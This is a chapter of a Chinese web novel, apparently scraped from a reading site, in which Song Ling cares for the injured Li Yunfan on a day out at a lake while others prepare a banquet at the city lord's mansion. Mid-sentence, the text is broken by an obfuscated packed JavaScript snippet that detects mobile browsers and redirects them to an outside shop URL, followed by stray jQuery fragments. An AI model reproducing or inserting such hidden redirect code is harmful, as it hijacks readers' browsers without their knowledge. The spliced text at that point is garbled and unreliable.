51.陪你

作品:《以兄之名守山河

    【第二日】【午时】


    宋凌扶着李云凡从医馆出来,走在热闹的街道上。


    李云凡大半个身子都赖在宋凌身上,一步三哼哼:“嘶!慢点慢点!”


    宋凌架着他,满是无语:“你昨天不还叫着伤口疼的下不了床,今天就求着我可以出门了?”


    李云凡侧过脸,可怜巴巴道:“在床上躺的骨头都麻了,在躺下去,没疼死先闷死了,出来透透气。宋冰块,等我养好伤,咱们接下来去哪?”


    宋凌道:“玄门那边动静一直没停下,光靠天阙宗还掀不起这场局,修真人的事也乱糟糟的,城主府的事还没了结,不少事等着,现在还离不开这。”


    李云凡长叹口气:“什么时候是个头啊!”


    宋凌没回答,目光落在街边热气腾腾的包子摊,停下脚步松开李云凡的胳膊:“在这等我。”


    “你去哪?”


    宋凌走到包子摊前,朝老板要了两个热乎乎的大肉包子,又返回到李云凡身边。


    李云凡有些震惊,她是在给自己买包子!


    宋凌将油纸包裹着的大肉包递给李云凡:“喏!”


    李云凡眨眨眼:“给我的?”


    宋凌觉得他这个问题很蠢,冷声道:“净说这些废话!这就我们两个,不给你给谁?拿着!”


    李云凡伸手接过,心里感动的想哭,他捧着在掌心的肉包子,抬头问:“可是……医师不是说不能吃荤腥吗?”


    宋凌道:“看你吃粥那副死样子,没有肉是一点也下不去,也别管吃啥了,别饿死你。”


    李云凡哼了声,这女人就是口是心非,明明关心自己,却总是一副莫不关心的样子。


    他打开油纸包,包子的热气扑到脸上,勾得他肚子咕咕响,他拿起一个张口咬下,闲香四溢,比清淡饭食好百倍。


    “好吃!凤溪的包子就是香!”李云凡含糊着嘟囔,因吃的太急差点噎着,咳了两声。


    宋凌本来在看别处,听到他咳嗽,避开他的伤口轻轻拍顺着他的背:“你这么着急干什么?饿死鬼投胎啊!又没人跟你抢!”


    李云凡嘴里塞的满满的,傻笑道:“好吃嘛!”


    宋凌看着他因两个肉包就能开心到眉眼弯弯的傻样,觉得他有点可爱,嘴角牵起淡淡的笑,声音和平日相比柔了些:“看你受伤的份上,今天就陪你玩一天。”


    李云凡吞下最后一口包子,听到这句话爆发出巨大的惊喜,也不管背上疼不疼了,兴奋的一跳,想要抱住宋凌把她举高高,被她一个眼神瞪了回去。


    他只好乖乖收回手,激动的语无伦次:“太好了!宋冰块我爱死你了!我们去哪玩?”


    宋凌看了看四周热闹的街市,望了望北边的天空,思索片刻道:“我们现在在城中心,往北走,有一片湖,以前听人讲过,我们去那坐着聊天,晒晒太阳。”


    若放在平时,让李云凡干坐着,他准嫌闷,但今天这话是宋凌放的,地点是宋凌挑的,哪怕是去荒草地里数野草,他都乐意。


    李云凡连连点头:“好好好!我们快出发吧!”


    ——


    【城主府】


    城主府门前已经打扫干净,那些死尸早已被抬出去。


    阿虎小大人似的双手叉腰,站在门口点点头:“嗯,这家丁干活的速度还挺麻利!”


    沈少时道:“多日前就给消息了,也给足了银子,若现在还收拾不好,他们也不用呆在凤溪了。”


    两人推门走进,院内已经布置好,枯萎的花草已被处理干净,摆上几盆应季的花,谈不上名贵,但也添了几分生气。


    步至正厅,迎客的小桌早已摆放好,袅袅熏香驱散了原本的霉味,家丁们都在擦拭着家具,为晚上做准备。


    管事的家丁跑到两人面前,躬身道:“公子,您看这样布置……成吗?”


    沈少时背着手,慢悠悠在厅里转一圈,点点头道:“可以,辛苦了。就等着今晚开席吧。”


    管事的家丁脸上堆起笑:“公子放心,保证按时按量。”


    等家丁退下去继续忙活,阿虎低声问沈少时:“少时哥哥,我还是有点不敢相信……那些藏在角落里的牛鬼蛇神真的会来?”


    沈少时道:“宋姑娘敢办这宴席,就是有一定的把握,会来的。”


    ——


    【凤溪城北】【清心湖】


    湖水清澈,映着蓝天白云,湖边有个四角亭子,看起来有些年头了,大概是常有人来,不是很脏。


    宋凌扶着李云凡坐在亭子边缘的木凳上,微风拂过湖面,这种清爽的感觉,确实让人心情放松不少。


    李云凡看着波光粼粼的湖面,没话找话:“宋冰块,你很喜欢水吗?”


    宋凌手搭在栏杆上,看着无尽的湖面,道:“水能静心神,可以放松身心。”


    阳光从亭子另一侧照进,那副冰山脸温柔了许多,总而言之,比平日板着脸的样子好看多了。


    “我可没那个心境,比起看这死水,我更喜欢看你。”李云凡头靠在亭中的柱子上,静静看着她的脸。


    宋凌转回头道:“你这次受伤是脑子也伤出问题了吗?怎么突然变得这么油嘴滑舌。”


    李云凡笑嘻嘻道:“我向来如此,只是以前你光顾着嫌我烦,没好好了解我罢了。”


    宋凌道:“确实该好好了解了解你,一副傻乎乎的样子还要跟人家单挑,逞什么能?万一丢了命怎么办?”


    李云凡收了笑,看着她眼里的责备,心里玩闹的心思也淡了,解释道:“不是我自愿去的,是那个仙君拿你们性命要挟逼我去的,我能怎么办?总不能趁了他的意吧。”


    宋凌道:“就算这样,你没那个实力也该多动动脑子吧?光靠你这一腔不知所谓的热血,你是血库吗?”她言尽于此,意思也很明显。


    李云凡被训的有点蔫,低头小声嘟囔:“我哪考虑那么多,当时就想着你们不能有事……”他忽地想起什么,抬头看向宋凌,“宋冰块,你是不是最近太忙,把答应我的事都忘了?”


    “我答应你什么事了?”


    “你说等你有空,要亲手教我武功的!亲手教!你还记得不!”


    “以你现在这状态,能学吗?答应你的事,我不会忘。”


    李云凡得了这句准话,心里又美滋滋的,道:“我这不是提醒你嘛!万一你贵人多忘事……”


    “我说了,不会忘!”宋凌打断道。


    远处湖面划过一条竹木船,上面站着个带着斗笠,穿着粗布短褂的老爷爷,摇着竹篙靠岸,对两人招手道:“两位客官!要坐船去对面瞧瞧不?那边风景好着嘞!一趟只收三两银子,不亏!”


    宋凌看了眼那竹木船,又看向李云凡身上的伤口,本想拒绝,还没等她开口,李云凡已兴奋的站起身,朝着老爷爷用力挥手,扯着嗓子喊:“去去去!老伯!等我们过去!”


    李云凡抓起宋林胳膊就往外拽:“走走走!坐船去!”


    “你激动个什么劲!你慢点!”


    要不是看他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151748|192910||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    现在受着伤,宋凌早就用力甩开他的手了。


    走到岸边,李云凡抬脚就要往上踩,被宋凌拽住后衣领:“等等。”


    宋凌先自己一步踏上船,感觉船没什么问题,才回身伸出手:“扶着我上来。”


    李云凡嘿嘿一笑,抓着她的手上了船,从怀里掏出三个铜板,递给老伯:“我们出发吧!”


    老伯乐呵呵收好铜钱,拿起竹篙道:“好嘞!二位船里头坐稳喽!”


    船篷很矮,李云凡拉着宋凌弯腰钻进去,坐在稻草垫上。


    船身随着老伯撑篙的动作悠悠离开岸边,荡起一圈圈涟漪,朝着湖心缓缓划去。


    李云凡脑袋靠在宋凌肩膀上,双手抱着宋凌胳膊,和个赖皮虫一样。


    宋凌没在意他的动作,道:“水汽潮湿,对你伤口不好。”


    李云凡道:“顾忌那么多干嘛?天底下还有下雨不打伞,冬天不穿棉衣的呢,我不过受点伤,还怕受点水汽?”


    “简直胡闹。”


    宋凌想把自己胳膊抽出来,可李云凡抱的死紧,她稍一动,他就哼哼唧唧。


    “我不跟别人胡闹,我就跟你一个人闹,你都说今天陪我了,别顾忌那么多了行不行?”李云凡声音闷闷的。


    宋凌看着他这无赖的样子,想训斥的话堵在喉咙,无奈叹口气。


    李云凡得逞的弯了弯嘴角,抱着她胳膊的手悄悄往下滑,心里扑通扑通跳的厉害,小心地将手指插进她的指缝,慢慢十指相扣,脸也有些红,见她没反应,心里觉得无比安心和满足。


    船篷外,老伯不紧不慢地用竹篙划着水,摘下挂在腰间的酒壶,大拇指挑开塞子仰头灌了口,望着宽阔的湖面和远处的青山,扯开嗓子吟唱起来:


    “风萧萧兮月无声,喜鹊搭桥渡佳人。云端凤翔登凌霄,龙掠喜桥结彩霞!九朝白鹭探枝花,月兮月兮思有声!十里红妆红霞帔!从此枕边只一人啊!”


    调子不是很婉转,是民间说唱的味道,带着种悠远苍凉的意境,尤其是最后那句,唱的格外惆怅。


    李云凡没听出什么,倒是觉得有趣,对着船头的老伯喊道:“老伯,你这唱的什么啊!”


    老伯哈哈一笑,没有解释什么,顺手将自己的酒壶朝船棚里一抛!


    李云凡空出一只手稳稳接住,凑到鼻尖闻了闻,是一股醇厚凌冽的酒香。


    “好酒!”李云凡赞叹道。


    “小子,挺识货嘛!”老伯笑呵呵道。


    “那是!酒喝多了,自然识货!”李云凡晃了晃酒壶,“好久没沾了,今天就喝个够!”


    他举起酒壶就要往嘴里倒,宋凌一巴掌呼在他脸上,李云凡委屈巴巴的放下手看向宋凌:“我就尝尝……一小口……”


    宋凌没说话,只是看着他。


    李云凡在她的注视下,喝酒的勇气迅速消散,将酒壶放到自己旁边,嘟囔道:“不喝就不喝嘛……那么凶干嘛……”


    宋凌这才移开目光,继续看向船外。


    老伯将这一幕尽收眼底,打趣道:“小子,妻管严啊!”


    李云凡大声应道:“是啊!我娘子管我管的很严!妻管严最幸福了!他不管我,我还不得劲呢!”


    老伯大笑道:“哈哈哈……是啊!妻管严幸福!小子,好好珍惜你身边这个女孩子吧!能管着你,为你着急上火的,都是心里头真装着你的。这世道,遇到个真心的不容易啊!”


    李云凡下意识收紧与宋凌十指相扣的手,低声应道:“我当然知道……”